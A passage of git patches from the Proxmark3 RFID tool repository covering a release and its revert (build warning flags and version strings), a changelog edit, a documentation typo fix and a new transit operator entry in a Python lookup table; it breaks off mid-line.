+target_compile_options( pm3rrg_rdv4_id48 PRIVATE -Wpedantic -Wall -O3 -Wno-unknown-pragmas -Wno-inline -Wno-unused-function -DID48_NO_STDIO) target_include_directories(pm3rrg_rdv4_id48 PRIVATE id48) target_include_directories(pm3rrg_rdv4_id48 INTERFACE id48) set_property(TARGET pm3rrg_rdv4_id48 PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/jansson.cmake b/client/deps/jansson.cmake index c91a47047..42c701d5e 100644 --- a/client/deps/jansson.cmake +++ b/client/deps/jansson.cmake @@ -14,5 +14,5 @@ add_library(pm3rrg_rdv4_jansson STATIC target_compile_definitions(pm3rrg_rdv4_jansson PRIVATE HAVE_STDINT_H) target_include_directories(pm3rrg_rdv4_jansson INTERFACE jansson) -target_compile_options(pm3rrg_rdv4_jansson PRIVATE -Wall -Werror -Wno-unused-function -O3) +target_compile_options(pm3rrg_rdv4_jansson PRIVATE -Wall -Wno-unused-function -O3) set_property(TARGET pm3rrg_rdv4_jansson PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/lua.cmake b/client/deps/lua.cmake index 12870342e..5cf33d724 100644 --- a/client/deps/lua.cmake +++ b/client/deps/lua.cmake @@ -52,5 +52,5 @@ if (NOT MINGW) endif (NOT MINGW) target_include_directories(pm3rrg_rdv4_lua INTERFACE liblua) -target_compile_options(pm3rrg_rdv4_lua PRIVATE -Wall -Werror -O3) +target_compile_options(pm3rrg_rdv4_lua PRIVATE -Wall -O3) set_property(TARGET pm3rrg_rdv4_lua PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/mbedtls.cmake b/client/deps/mbedtls.cmake index c1ab8d880..9d06b1c96 100644 --- a/client/deps/mbedtls.cmake +++ b/client/deps/mbedtls.cmake @@ -48,5 +48,5 @@ add_library(pm3rrg_rdv4_mbedtls STATIC target_include_directories(pm3rrg_rdv4_mbedtls PRIVATE ../../common) target_include_directories(pm3rrg_rdv4_mbedtls INTERFACE ../../common/mbedtls) -target_compile_options(pm3rrg_rdv4_mbedtls PRIVATE -Wall -Werror -O3) +target_compile_options(pm3rrg_rdv4_mbedtls PRIVATE -Wall -O3) set_property(TARGET pm3rrg_rdv4_mbedtls PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/reveng.cmake b/client/deps/reveng.cmake index d7e3cfd8a..1040730f1 100644 --- a/client/deps/reveng.cmake +++ b/client/deps/reveng.cmake @@ -13,5 +13,5 @@ target_include_directories(pm3rrg_rdv4_reveng PRIVATE ../src ../../include) target_include_directories(pm3rrg_rdv4_reveng INTERFACE reveng) -target_compile_options(pm3rrg_rdv4_reveng PRIVATE -Wall -Werror -O3) +target_compile_options(pm3rrg_rdv4_reveng PRIVATE -Wall -O3) set_property(TARGET pm3rrg_rdv4_reveng PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/tinycbor.cmake b/client/deps/tinycbor.cmake index 5a6abda25..c74618149 100644 --- a/client/deps/tinycbor.cmake +++ b/client/deps/tinycbor.cmake @@ -11,5 +11,5 @@ add_library(pm3rrg_rdv4_tinycbor STATIC target_include_directories(pm3rrg_rdv4_tinycbor INTERFACE tinycbor) # Strange errors on Mingw when compiling with -O3 -target_compile_options(pm3rrg_rdv4_tinycbor PRIVATE -Wall -Werror -O2) +target_compile_options(pm3rrg_rdv4_tinycbor PRIVATE -Wall -O2) set_property(TARGET pm3rrg_rdv4_tinycbor PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/whereami.cmake b/client/deps/whereami.cmake index d2d6a5b2a..721873066 100644 --- a/client/deps/whereami.cmake +++ b/client/deps/whereami.cmake @@ -2,5 +2,5 @@ add_library(pm3rrg_rdv4_whereami STATIC whereami/whereami.c) target_compile_definitions(pm3rrg_rdv4_whereami PRIVATE WAI_PM3_TUNED) target_include_directories(pm3rrg_rdv4_whereami INTERFACE whereami) -target_compile_options(pm3rrg_rdv4_whereami PRIVATE -Wall -Werror -O3) +target_compile_options(pm3rrg_rdv4_whereami PRIVATE -Wall -O3) set_property(TARGET pm3rrg_rdv4_whereami PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/experimental_lib/CMakeLists.txt b/client/experimental_lib/CMakeLists.txt index 2b665414a..183e993aa 100644 --- a/client/experimental_lib/CMakeLists.txt +++ b/client/experimental_lib/CMakeLists.txt @@ -427,7 +427,7 @@ set (TARGET_SOURCES add_custom_command( OUTPUT ${CMAKE_BINARY_DIR}/version_pm3.c - COMMAND sh ${PM3_ROOT}/tools/mkversion.sh ${CMAKE_BINARY_DIR}/version_pm3.c || ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c + COMMAND ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c DEPENDS ${PM3_ROOT}/common/default_version_pm3.c ) diff --git a/client/src/proxmark3.c b/client/src/proxmark3.c index 54b05670a..340f08765 100644 --- a/client/src/proxmark3.c +++ b/client/src/proxmark3.c @@ -49,7 +49,7 @@ static int mainret = PM3_ESOFT; #ifndef LIBPM3 #define BANNERMSG1 "" #define BANNERMSG2 " [ :coffee: ]" -#define BANNERMSG3 "" +#define BANNERMSG3 "Release v4.18589 - Aurora" typedef enum LogoMode { UTF8, ANSI, ASCII } LogoMode; diff --git a/common/default_version_pm3.c b/common/default_version_pm3.c index d93a7ef15..349a573de 100644 --- a/common/default_version_pm3.c +++ b/common/default_version_pm3.c @@ -1,20 +1,5 @@ -//----------------------------------------------------------------------------- -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- #include "common.h" -/* This is the default version_pm3.c file that Makefile.common falls back to if sh is not available */ +/* Generated file, do not edit */ #ifndef ON_DEVICE #define SECTVERSINFO #else @@ -23,10 +8,10 @@ const struct version_information_t SECTVERSINFO g_version_information = { VERSION_INFORMATION_MAGIC, - 1, /* version 1 */ - 0, /* version information not present */ - 2, /* cleanliness couldn't be determined */ - "Iceman/master/unknown", - "1970-01-01 00:00:00", - "no sha256" + 1, + 1, + 2, + "Iceman/master/v4.18589", + "2024-05-28 10:36:31", + "669923317" }; diff --git a/common_arm/Makefile.common b/common_arm/Makefile.common index e8e574112..a845963b2 100644 --- a/common_arm/Makefile.common +++ b/common_arm/Makefile.common @@ -49,7 +49,7 @@ VPATH = . ../common_arm ../common ../common/crapto1 ../common/mbedtls ../common/ INCLUDES = ../include/proxmark3_arm.h ../include/at91sam7s512.h ../include/config_gpio.h ../include/pm3_cmd.h ARMCFLAGS = -mthumb-interwork -fno-builtin -DEFCFLAGS = -Wall -Werror -Os -pedantic -fstrict-aliasing -pipe +DEFCFLAGS = -Wall -Os -pedantic -fstrict-aliasing -pipe # Some more warnings we want as errors: DEFCFLAGS += -Wbad-function-cast -Wchar-subscripts -Wundef -Wunused -Wuninitialized -Wpointer-arith -Wformat -Wformat-security -Winit-self -Wmissing-include-dirs -Wnested-externs -Wempty-body -Wignored-qualifiers -Wmissing-field-initializers -Wtype-limits From 7329dcd3bf146e75e6a1e16545e9088eae5745fb Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 28 May 2024 10:36:32 +0200 Subject: [PATCH 091/157] Revert "Release v4.18589 - Aurora" This reverts commit aceed281e83ed595b4fafa59fdea68ef477c4549. --- Makefile.defs | 4 ++-- armsrc/Makefile | 2 +- bootrom/Makefile | 2 +- client/CMakeLists.txt | 4 ++-- client/Makefile | 4 ++-- client/deps/amiibo.cmake | 2 +- client/deps/cliparser.cmake | 2 +- client/deps/hardnested.cmake | 18 ++++++++-------- client/deps/id48lib.cmake | 2 +- client/deps/jansson.cmake | 2 +- client/deps/lua.cmake | 2 +- client/deps/mbedtls.cmake | 2 +- client/deps/reveng.cmake | 2 +- client/deps/tinycbor.cmake | 2 +- client/deps/whereami.cmake | 2 +- client/experimental_lib/CMakeLists.txt | 2 +- client/src/proxmark3.c | 2 +- common/default_version_pm3.c | 29 +++++++++++++++++++------- common_arm/Makefile.common | 2 +- 19 files changed, 51 insertions(+), 36 deletions(-) diff --git a/Makefile.defs b/Makefile.defs index aadb1a98b..1ef2aa09d 100644 --- a/Makefile.defs +++ b/Makefile.defs @@ -112,8 +112,8 @@ ifeq ($(DEBUG),1) DEFCFLAGS = -g -O0 -fstrict-aliasing -pipe DEFLDFLAGS = else - DEFCXXFLAGS = -Wall -O3 -pipe - DEFCFLAGS = -Wall -O3 -fstrict-aliasing -pipe + DEFCXXFLAGS = -Wall -Werror -O3 -pipe + DEFCFLAGS = -Wall -Werror -O3 -fstrict-aliasing -pipe DEFLDFLAGS = endif diff --git a/armsrc/Makefile b/armsrc/Makefile index b9b101396..2f27534ef 100644 --- a/armsrc/Makefile +++ b/armsrc/Makefile @@ -185,7 +185,7 @@ showinfo: # version_pm3.c should be checked on every time fullimage.stage1.elf should be remade version_pm3.c: default_version_pm3.c $(OBJDIR)/fpga_version_info.o $(OBJDIR)/fpga_all.o $(THUMBOBJ) $(ARMOBJ) .FORCE $(info [-] CHECK $@) - $(Q)$(CP) $< $@ + $(Q)$(SH) ../tools/mkversion.sh $@ || $(CP) $< $@ fpga_version_info.c: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR) $(info [-] GEN $@) diff --git a/bootrom/Makefile b/bootrom/Makefile index 86c785cd1..b6825530d 100644 --- a/bootrom/Makefile +++ b/bootrom/Makefile @@ -56,7 +56,7 @@ OBJS = $(OBJDIR)/bootrom.s19 # version_pm3.c should be checked on every compilation version_pm3.c: default_version_pm3.c .FORCE $(info [=] CHECK $@) - $(Q)$(CP) $< $@ + $(Q)$(SH) ../tools/mkversion.sh $@ || $(CP) $< $@ all: showinfo $(OBJS) diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index c17cf32b6..4169b8b57 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -426,7 +426,7 @@ set (TARGET_SOURCES add_custom_command( OUTPUT ${CMAKE_BINARY_DIR}/version_pm3.c - COMMAND ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c + COMMAND sh ${PM3_ROOT}/tools/mkversion.sh ${CMAKE_BINARY_DIR}/version_pm3.c || ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c DEPENDS ${PM3_ROOT}/common/default_version_pm3.c ) @@ -684,7 +684,7 @@ add_executable(proxmark3 ${ADDITIONAL_SRC} ) -target_compile_options(proxmark3 PUBLIC -Wall -O3) +target_compile_options(proxmark3 PUBLIC -Wall -Werror -O3) if (EMBED_READLINE) if (NOT SKIPREADLINE EQUAL 1) add_dependencies(proxmark3 ncurses readline) diff --git a/client/Makefile b/client/Makefile index f69467f6b..1b7090f68 100644 --- a/client/Makefile +++ b/client/Makefile @@ -446,7 +446,7 @@ endif PM3CFLAGS += -DHAVE_SNPRINTF -CXXFLAGS ?= -Wall +CXXFLAGS ?= -Wall -Werror CXXFLAGS += $(MYDEFS) $(MYCXXFLAGS) $(MYINCLUDES) PM3CXXFLAGS = $(CXXFLAGS) @@ -977,7 +977,7 @@ src/pm3_pywrap.c: pm3.i # version_pm3.c should be checked on every compilation src/version_pm3.c: default_version_pm3.c .FORCE $(info [=] CHECK $@) - $(Q)$(CP) $< $@ + $(Q)$(SH) ../tools/mkversion.sh $@ || $(CP) $< $@ # easy printing of MAKE VARIABLES print-%: ; @echo $* = $($*) diff --git a/client/deps/amiibo.cmake b/client/deps/amiibo.cmake index 8c524c170..c946c0682 100644 --- a/client/deps/amiibo.cmake +++ b/client/deps/amiibo.cmake @@ -19,7 +19,7 @@ target_link_libraries(pm3rrg_rdv4_amiibo PRIVATE m pm3rrg_rdv4_mbedtls) -target_compile_options(pm3rrg_rdv4_amiibo PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_amiibo PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_amiibo PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_amiibo PRIVATE amiitool diff --git a/client/deps/cliparser.cmake b/client/deps/cliparser.cmake index a85cc2374..fccae33b7 100644 --- a/client/deps/cliparser.cmake +++ b/client/deps/cliparser.cmake @@ -9,5 +9,5 @@ target_include_directories(pm3rrg_rdv4_cliparser PRIVATE ../../include ../src) target_include_directories(pm3rrg_rdv4_cliparser INTERFACE cliparser) -target_compile_options(pm3rrg_rdv4_cliparser PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_cliparser PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_cliparser PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/hardnested.cmake b/client/deps/hardnested.cmake index 468ee4ef2..ec545e2a8 100644 --- a/client/deps/hardnested.cmake +++ b/client/deps/hardnested.cmake @@ -2,7 +2,7 @@ add_library(pm3rrg_rdv4_hardnested_nosimd OBJECT hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) -target_compile_options(pm3rrg_rdv4_hardnested_nosimd PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_hardnested_nosimd PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_hardnested_nosimd PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_hardnested_nosimd PRIVATE @@ -32,7 +32,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_mmx PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_mmx PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_mmx BEFORE PRIVATE -mmmx -mno-sse2 -mno-avx -mno-avx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_mmx PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -47,7 +47,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_sse2 PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_sse2 PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_sse2 BEFORE PRIVATE -mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_sse2 PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -62,7 +62,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_avx PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_avx PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_avx BEFORE PRIVATE -mmmx -msse2 -mavx -mno-avx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_avx PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -77,7 +77,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_avx2 PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_avx2 PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_avx2 BEFORE PRIVATE -mmmx -msse2 -mavx -mavx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_avx2 PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -92,7 +92,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_avx512 PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_avx512 PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_avx512 BEFORE PRIVATE -mmmx -msse2 -mavx -mavx2 -mavx512f) set_property(TARGET pm3rrg_rdv4_hardnested_avx512 PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -116,7 +116,7 @@ elseif ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST ARM64_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_hardnested_neon PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_hardnested_neon PRIVATE @@ -134,7 +134,7 @@ elseif ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST ARM32_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_neon BEFORE PRIVATE -mfpu=neon) set_property(TARGET pm3rrg_rdv4_hardnested_neon PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -155,7 +155,7 @@ add_library(pm3rrg_rdv4_hardnested STATIC hardnested/hardnested_bruteforce.c $ ${SIMD_TARGETS}) -target_compile_options(pm3rrg_rdv4_hardnested PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_hardnested PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_hardnested PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_hardnested PRIVATE ../../common diff --git a/client/deps/id48lib.cmake b/client/deps/id48lib.cmake index fa57d7855..47205d494 100644 --- a/client/deps/id48lib.cmake +++ b/client/deps/id48lib.cmake @@ -3,7 +3,7 @@ add_library(pm3rrg_rdv4_id48 STATIC id48/id48_generator.c id48/id48_recover.c ) -target_compile_options( pm3rrg_rdv4_id48 PRIVATE -Wpedantic -Wall -O3 -Wno-unknown-pragmas -Wno-inline -Wno-unused-function -DID48_NO_STDIO) +target_compile_options( pm3rrg_rdv4_id48 PRIVATE -Wpedantic -Wall -Werror -O3 -Wno-unknown-pragmas -Wno-inline -Wno-unused-function -DID48_NO_STDIO) target_include_directories(pm3rrg_rdv4_id48 PRIVATE id48) target_include_directories(pm3rrg_rdv4_id48 INTERFACE id48) set_property(TARGET pm3rrg_rdv4_id48 PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/jansson.cmake b/client/deps/jansson.cmake index 42c701d5e..c91a47047 100644 --- a/client/deps/jansson.cmake +++ b/client/deps/jansson.cmake @@ -14,5 +14,5 @@ add_library(pm3rrg_rdv4_jansson STATIC target_compile_definitions(pm3rrg_rdv4_jansson PRIVATE HAVE_STDINT_H) target_include_directories(pm3rrg_rdv4_jansson INTERFACE jansson) -target_compile_options(pm3rrg_rdv4_jansson PRIVATE -Wall -Wno-unused-function -O3) +target_compile_options(pm3rrg_rdv4_jansson PRIVATE -Wall -Werror -Wno-unused-function -O3) set_property(TARGET pm3rrg_rdv4_jansson PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/lua.cmake b/client/deps/lua.cmake index 5cf33d724..12870342e 100644 --- a/client/deps/lua.cmake +++ b/client/deps/lua.cmake @@ -52,5 +52,5 @@ if (NOT MINGW) endif (NOT MINGW) target_include_directories(pm3rrg_rdv4_lua INTERFACE liblua) -target_compile_options(pm3rrg_rdv4_lua PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_lua PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_lua PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/mbedtls.cmake b/client/deps/mbedtls.cmake index 9d06b1c96..c1ab8d880 100644 --- a/client/deps/mbedtls.cmake +++ b/client/deps/mbedtls.cmake @@ -48,5 +48,5 @@ add_library(pm3rrg_rdv4_mbedtls STATIC target_include_directories(pm3rrg_rdv4_mbedtls PRIVATE ../../common) target_include_directories(pm3rrg_rdv4_mbedtls INTERFACE ../../common/mbedtls) -target_compile_options(pm3rrg_rdv4_mbedtls PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_mbedtls PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_mbedtls PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/reveng.cmake b/client/deps/reveng.cmake index 1040730f1..d7e3cfd8a 100644 --- a/client/deps/reveng.cmake +++ b/client/deps/reveng.cmake @@ -13,5 +13,5 @@ target_include_directories(pm3rrg_rdv4_reveng PRIVATE ../src ../../include) target_include_directories(pm3rrg_rdv4_reveng INTERFACE reveng) -target_compile_options(pm3rrg_rdv4_reveng PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_reveng PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_reveng PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/tinycbor.cmake b/client/deps/tinycbor.cmake index c74618149..5a6abda25 100644 --- a/client/deps/tinycbor.cmake +++ b/client/deps/tinycbor.cmake @@ -11,5 +11,5 @@ add_library(pm3rrg_rdv4_tinycbor STATIC target_include_directories(pm3rrg_rdv4_tinycbor INTERFACE tinycbor) # Strange errors on Mingw when compiling with -O3 -target_compile_options(pm3rrg_rdv4_tinycbor PRIVATE -Wall -O2) +target_compile_options(pm3rrg_rdv4_tinycbor PRIVATE -Wall -Werror -O2) set_property(TARGET pm3rrg_rdv4_tinycbor PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/whereami.cmake b/client/deps/whereami.cmake index 721873066..d2d6a5b2a 100644 --- a/client/deps/whereami.cmake +++ b/client/deps/whereami.cmake @@ -2,5 +2,5 @@ add_library(pm3rrg_rdv4_whereami STATIC whereami/whereami.c) target_compile_definitions(pm3rrg_rdv4_whereami PRIVATE WAI_PM3_TUNED) target_include_directories(pm3rrg_rdv4_whereami INTERFACE whereami) -target_compile_options(pm3rrg_rdv4_whereami PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_whereami PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_whereami PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/experimental_lib/CMakeLists.txt b/client/experimental_lib/CMakeLists.txt index 183e993aa..2b665414a 100644 --- a/client/experimental_lib/CMakeLists.txt +++ b/client/experimental_lib/CMakeLists.txt @@ -427,7 +427,7 @@ set (TARGET_SOURCES add_custom_command( OUTPUT ${CMAKE_BINARY_DIR}/version_pm3.c - COMMAND ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c + COMMAND sh ${PM3_ROOT}/tools/mkversion.sh ${CMAKE_BINARY_DIR}/version_pm3.c || ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c DEPENDS ${PM3_ROOT}/common/default_version_pm3.c ) diff --git a/client/src/proxmark3.c b/client/src/proxmark3.c index 340f08765..54b05670a 100644 --- a/client/src/proxmark3.c +++ b/client/src/proxmark3.c @@ -49,7 +49,7 @@ static int mainret = PM3_ESOFT; #ifndef LIBPM3 #define BANNERMSG1 "" #define BANNERMSG2 " [ :coffee: ]" -#define BANNERMSG3 "Release v4.18589 - Aurora" +#define BANNERMSG3 "" typedef enum LogoMode { UTF8, ANSI, ASCII } LogoMode; diff --git a/common/default_version_pm3.c b/common/default_version_pm3.c index 349a573de..d93a7ef15 100644 --- a/common/default_version_pm3.c +++ b/common/default_version_pm3.c @@ -1,5 +1,20 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- #include "common.h" -/* Generated file, do not edit */ +/* This is the default version_pm3.c file that Makefile.common falls back to if sh is not available */ #ifndef ON_DEVICE #define SECTVERSINFO #else @@ -8,10 +23,10 @@ const struct version_information_t SECTVERSINFO g_version_information = { VERSION_INFORMATION_MAGIC, - 1, - 1, - 2, - "Iceman/master/v4.18589", - "2024-05-28 10:36:31", - "669923317" + 1, /* version 1 */ + 0, /* version information not present */ + 2, /* cleanliness couldn't be determined */ + "Iceman/master/unknown", + "1970-01-01 00:00:00", + "no sha256" }; diff --git a/common_arm/Makefile.common b/common_arm/Makefile.common index a845963b2..e8e574112 100644 --- a/common_arm/Makefile.common +++ b/common_arm/Makefile.common @@ -49,7 +49,7 @@ VPATH = . ../common_arm ../common ../common/crapto1 ../common/mbedtls ../common/ INCLUDES = ../include/proxmark3_arm.h ../include/at91sam7s512.h ../include/config_gpio.h ../include/pm3_cmd.h ARMCFLAGS = -mthumb-interwork -fno-builtin -DEFCFLAGS = -Wall -Os -pedantic -fstrict-aliasing -pipe +DEFCFLAGS = -Wall -Werror -Os -pedantic -fstrict-aliasing -pipe # Some more warnings we want as errors: DEFCFLAGS += -Wbad-function-cast -Wchar-subscripts -Wundef -Wunused -Wuninitialized -Wpointer-arith -Wformat -Wformat-security -Winit-self -Wmissing-include-dirs -Wnested-externs -Wempty-body -Wignored-qualifiers -Wmissing-field-initializers -Wtype-limits From f6ccda074ca6d18296c9e61e92c3b5b3c45aa37c Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 28 May 2024 10:41:30 +0200 Subject: [PATCH 092/157] text --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 321b73266..c03f3a4d5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,7 +4,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac ## [unreleased][unreleased] -## [Aurora][2024-05-28] +## [Aurora.4.18589][2024-05-28] - Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) - Changed `mem spiffs tree` - adapted to bigbuff and show if empty (@iceman1001) - Changed `lf hitag info` - now tries to identify different key fob emulators (@iceman1001) From e377201d72c269083595ec0fca8e3a859e3960a4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Benjamin=20M=C3=B8ller?= <37707273+LupusE@users.noreply.github.com> Date: Wed, 29 May 2024 16:50:39 +0200 Subject: [PATCH 093/157] Update 4_Advanced-compilation-parameters.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Typo: Two times HF15SNIFF instead of one HF15SIM in STANDALONE list. Signed-off-by: Benjamin Møller <37707273+LupusE@users.noreply.github.com> --- doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md index 3e85e1369..e79863faa 100644 --- a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md +++ b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md @@ -127,7 +127,7 @@ Here are the supported values you can assign to `STANDALONE` in `Makefile.platfo | HF_14ASNIFF | 14a sniff storing to flashmem - Micolous | HF_14BSNIFF | 14b sniff - jacopo-j | HF_15SNIFF | 15693 sniff storing to flashmem - Glaser -| HF_15SNIFF | 15693 simulator - lnv42 +| HF_15SIM | 15693 simulator - lnv42 | HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal | HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito | HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins From b5db711b9a561caf818ada89ecfdd9617077ca60 Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Wed, 29 May 2024 20:48:09 +0200 Subject: [PATCH 094/157] Update intertic.py to support FRA - Clermont-Ferrand (T2C) Signed-off-by: Benjamin DELPY --- client/pyscripts/intertic.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/client/pyscripts/intertic.py b/client/pyscripts/intertic.py index 9c2e7f22d..bbd3e8bb9 100644 --- a/client/pyscripts/intertic.py +++ b/client/pyscripts/intertic.py @@ -76,12 +76,13 @@ FRA_OrganizationalAuthority_Contract_Provider = { 0x078: { 4: 'Reims (Citura / Transdev)', }, - 0x502: { - 83: 'Annecy (Sibra)', - }, 0x091: { 1: 'Strasbourg (CTS)', }, + 0x502: { + 83: 'Annecy (Sibra)', + 10: 'Clermont-Ferrand (T2C)', + }, 0x907: { 1: 'Dijon 